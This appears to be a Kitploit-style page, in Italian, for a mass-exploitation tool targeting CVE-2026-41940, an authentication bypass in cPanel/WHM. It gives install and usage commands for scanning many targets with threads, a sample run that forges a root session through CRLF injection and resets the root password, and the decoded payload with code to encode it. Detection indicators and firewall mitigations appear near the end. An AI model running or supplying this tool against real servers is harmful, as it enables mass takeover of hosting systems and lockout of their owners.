CVE-2026-41940 — Scanner bulk e strumento di sfruttamento di massa per CVE-2026-41940 su cPanel/WHM, progettato per la validazione automatizzata dei bersagli e l'esecuzione multi-thread ad alta velocità. | Kitploit

# Clona il repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Installa le dipendenze
pip install -r requirements.txt

# Rendi eseguibile (Linux/Mac)
chmod +x CVE-2026-41940.py

Argomento	Descrizione	Predefinito	Obbligatorio
`list_file`	File contenente l'elenco dei target (uno per riga)	-	✅ Sì
`--threads`	Numero di thread concorrenti	15	❌ No
`--hostname`	Sovrascrivi l'header Host per tutti i target	Auto-rilevamento	❌ No
`--timeout`	Timeout di connessione in secondi	15	❌ No

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Caricati 4 target
[*] Avvio exploit con 10 thread...
[*] Timeout: 15 secondi
[*] Nota: http:// verrà aggiunto automaticamente se mancante
[*] SOLO i target con cambio password confermato verranno salvati in res.txt
[*] I target con errori di licenza, problemi di connessione o cambi di password falliti verranno ESCLUSI

==================================================

[*] Controllo target: 127.0.0.1
    Input originale: 127.0.0.1
    Normalizzato: https://127.0.0.1:2087
    Porta 2087: APERTA
    Test connessione... OK (HTTP 200)

[0] hostname = example.com
[1] creazione sessione preauth...
    sessione base = :d5nPe99Nx9HQdMu2
[2] invio dell'iniezione CRLF...
    HTTP 307, token trapelato = /cpsess0488087910
[3] attivazione di do_token_denied per propagare...
    HTTP 401, gadget attivato
[4] verifica di essere root su WHM...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] tentativo di cambiare la password di root
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Cambio password confermato (metadata.result=1)
[+] ✓ Password di root cambiata con successo in 'Jenderal92'!

[✓] SUCCESSO & SALVATO: 127.0.0.1:2087
    Salvato in res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scansione completata!
[*] Target con password cambiate con successo: 1 su 4

[+] Risultati salvati in res.txt

Target sfruttati con successo (password cambiata in Jenderal92):
  ✓ 127.0.0.1:2087

Invia una richiesta GET con header Authorization: Basic contenente il payload dannoso

Il payload Base64 decodificato è:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

I caratteri CRLF (\r\n) iniettano parametri di sessione falsi
Questo induce il server a pensare che l'autenticazione sia riuscita
Il server risponde con HTTP 307 e un header Location contenente il cp_security_token

Indicatore	Descrizione
Cookie `whostmgrsession` anomalo	Pattern di cookie insoliti senza autenticazione corretta
Caratteri CRLF negli header	Rilevamento di sequenze `\r\n` negli header HTTP
Accesso a `/scripts2/listaccts`	Accesso non autorizzato a questo percorso
Password `Jenderal92`	Accesso riuscito con questa password specifica
Perdita di token `cpsess`	Token di sicurezza visibile nell'header Location
Login fallito seguito da successo	POST a `/login/?login_only=1` con password errata, poi accesso privilegiato

# Log di accesso WHM
/usr/local/cpanel/logs/access_log

# Log errori cPanel  
/usr/local/cpanel/logs/error_log

# Log autenticazione
/var/log/secure

# Messaggi di sistema
/var/log/messages

Aggiorna WHM/cPanel all'ultima versione patchata immediatamente
```
/usr/local/cpanel/scripts/upcp
```
Abilita l'autenticazione a due fattori (2FA) per tutti gli account, in particolare root
```
WHM → Centro sicurezza → Autenticazione a due fattori
```

Limita l'accesso a WHM con whitelist IP

WHM → Centro sicurezza → Controllo accesso host

Monitora regolarmente i log di accesso per pattern sospetti

tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"

Cambia tutte le password se si sospetta una compromissione

Usa regole firewall per limitare l'accesso alla porta 2087

# Consenti solo IP fidati
iptables -A INPUT -p tcp --dport 2087 -s TUO_IP_FIDATO -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP

# Oppure usa il firewall CSF/LFD
csf -a TUO_IP_FIDATO

Implementa regole WAF per rilevare tentativi di iniezione CRLF
Verifiche di sicurezza periodiche delle installazioni WHM/cPanel

# targets.txt può contenere vari formati:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# Tutti verranno normalizzati automaticamente
python2 CVE-2026-41940.py targets.txt --threads 15

# Per molti target con buona connettività
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# Per connessioni inaffidabili
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

import base64

# Payload personalizzato
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

✅ Exploit di massa	Scansiona e sfrutta più target da un file di elenco
🚀 Multi-threading	Numero di thread configurabile per scansioni più veloci (default: 15)
🔐 Cambio password automatico	Cambia la password di root in `Jenderal92` dopo l'exploit riuscito
🛡️ Rilevamento intelligente del successo	Rileva automaticamente vari formati di risposta API WHM
⚠️ Filtraggio errori di licenza	Esclude target con errori di licenza non valida/non leggibile
📝 Output strutturato	Salva solo i successi confermati nel formato `dominio:porta
🛡️ Supporto SSL/TLS	Gestisce automaticamente i certificati autofirmati
🔄 Gestione delle sessioni	Estrazione automatica della sessione, iniezione di cookie e gestione dei token
⏱️ Controllo timeout	Timeout di connessione configurabile (default: 15 secondi)
🔍 Verifica pre-connessione	Controlla la disponibilità della porta prima del tentativo di exploit
📊 Avanzamento in tempo reale	Mostra progressi dettagliati per ogni fase dell'exploit

CVE-2026-41940

Più Popolari

CVE-2026-41940 - Exploit di massa di bypass dell'autenticazione WHM/cPanel

📋 Descrizione

🎯 Caratteristiche principali

📦 Requisiti

📥 Installazione

🚀 Utilizzo

1. Prepara il file dei target

2. Esegui l'exploit

Utilizzo base (impostazioni predefinite)

Utilizzo multi-thread

Hostname personalizzato

Timeout personalizzato

📊 Argomenti della riga di comando

📁 Formato di output

File dei risultati (res.txt)

Scenari esclusi

Output sulla console

🔬 Come funziona l'exploit

Fase 1: Sessione di pre-autenticazione

Fase 2: Attacco di iniezione CRLF

Fase 3: Propagazione della sessione

Fase 4: Verifica e cambio password

Filtraggio automatico

🛡️ Rilevamento e mitigazione

Indicatori di compromissione (IOC)

Log da monitorare

Passaggi per la mitigazione

📝 Esempi di utilizzo in diversi scenari

Scenario 1: Test su singolo target

Scenario 2: Audit su server in blocco

Scenario 3: Rete lenta/distanza lunga

Scenario 4: Hostname personalizzato dietro proxy/load balancer

Scenario 5: Target con porte miste

⚙️ Risoluzione dei problemi

Errore: "module 'urllib' has no attribute 'urlsplit'"

Errore: "Connection refused - target unreachable"

Errore: "/login didn't issue a whostmgrsession cookie"

Prestazioni di scansione lente

Errori di licenza nell'output

🔧 Configurazione avanzata

Modifica del payload personalizzato

Password personalizzata

Regolazione del rilevamento del successo

🤝 Contributi

Linee guida per lo sviluppo

⭐ Cronologia stelle

❗ FAQ

📌 Note importanti

⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ

File dei risultati (`res.txt`)